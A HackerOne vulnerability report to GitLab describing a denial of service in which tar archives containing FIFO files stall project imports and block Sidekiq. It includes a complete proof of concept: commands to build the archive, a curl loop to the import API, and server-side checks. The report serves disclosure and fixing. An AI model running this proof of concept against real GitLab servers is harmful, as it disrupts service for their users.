DoS - Blocking FIFO files in Tar archives
HackerOne report #2014157 by zhutyra
on 2023-06-05, assigned to @ottilia_westerlund:
Report | Attachments | How To Reproduce
Report
Tar archives can contain FIFO files. Opening a FIFO for reading blocks until some other process writes to the same FIFO.
So, for example, when importing a project, if GitLab tries to read a file extracted from an uploaded Tar archive and this file is FIFO, the import will get stuck.
Project import is performed by Sidekiq
, which by default processes a maximum of 20 jobs, and in this way the processing of the job queue can be completely blocked.
After extracting the archive, files are checked and symlinks are deleted, just modify this code to delete everything except regular files.
Steps to reproduce on your GitLab instance
Attached is a sample archive import-pipe.tar.gz that can easily be created this way (on Linux):
mkfifo VERSION
tar czf import-pipe.tar.gz VERSION
Enable project imports
If you don't have project imports enabled, you can enable it as follows:
- On the top bar, select Main menu > Admin.
- On the left sidebar, select Settings > General.
- Expand Visibility and access controls.
- Scroll to Import sources.
- Enable Gitlab Export.
Generate API token
To import the project you will need a user with import rights, Maintainer role. We'll be importing 23 projects, so we'll automate this through the API and we'll need an API token for that. You can generate it as follows:
- In the upper-right corner, select your avatar.
- Select Edit profile.
- On the left sidebar, select Access Tokens.
- Enter a name and optional expiry date for the token.
- Select the desired scopes.
- api
- Select Create personal access token.
- Save the generated token.
Import the projects
Save the attached file import-pipe.tar.gz and in the directory with this file, run this script in the bash shell:
GLHOST=http://gitlab.example.com # change
GLTOKEN=yourtoken # change
GLPROJ=import-pipe.tar.gz
for NUM in {1..23}; do
echo == $NUM
curl --request POST \
--header "PRIVATE-TOKEN: $GLTOKEN" \
--form "path=import-pipe-$NUM" \
--form "file=@$GLPROJ" \
"$GLHOST/api/v4/projects/import"
echo; sleep 11 # 6 imports per minute
done
The script will finish after about 4 minutes.
Check the result
Log in to the server as root and verify the results:
### there should still be 20 VERSION files (FIFOs) hanging in the temp directory
find /var/opt/gitlab/gitlab-rails/shared/tmp/ -name VERSION |wc -l
### 20
### only after writing to these files will the import complete
find /var/opt/gitlab/gitlab-rails/shared/tmp/ -name VERSION |while read FNAME; do echo foo >$FNAME; done
### and the remaining 3 imports will start processing
find /var/opt/gitlab/gitlab-rails/shared/tmp/ -name VERSION |wc -l
### 3
### again only after writing to these files will the import complete
find /var/opt/gitlab/gitlab-rails/shared/tmp/ -name VERSION |while read FNAME; do echo foo >$FNAME; done
### nothing left to process
find /var/opt/gitlab/gitlab-rails/shared/tmp/ -name VERSION |wc -l
### 0
Impact
Blocked Sidekiq job processor.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: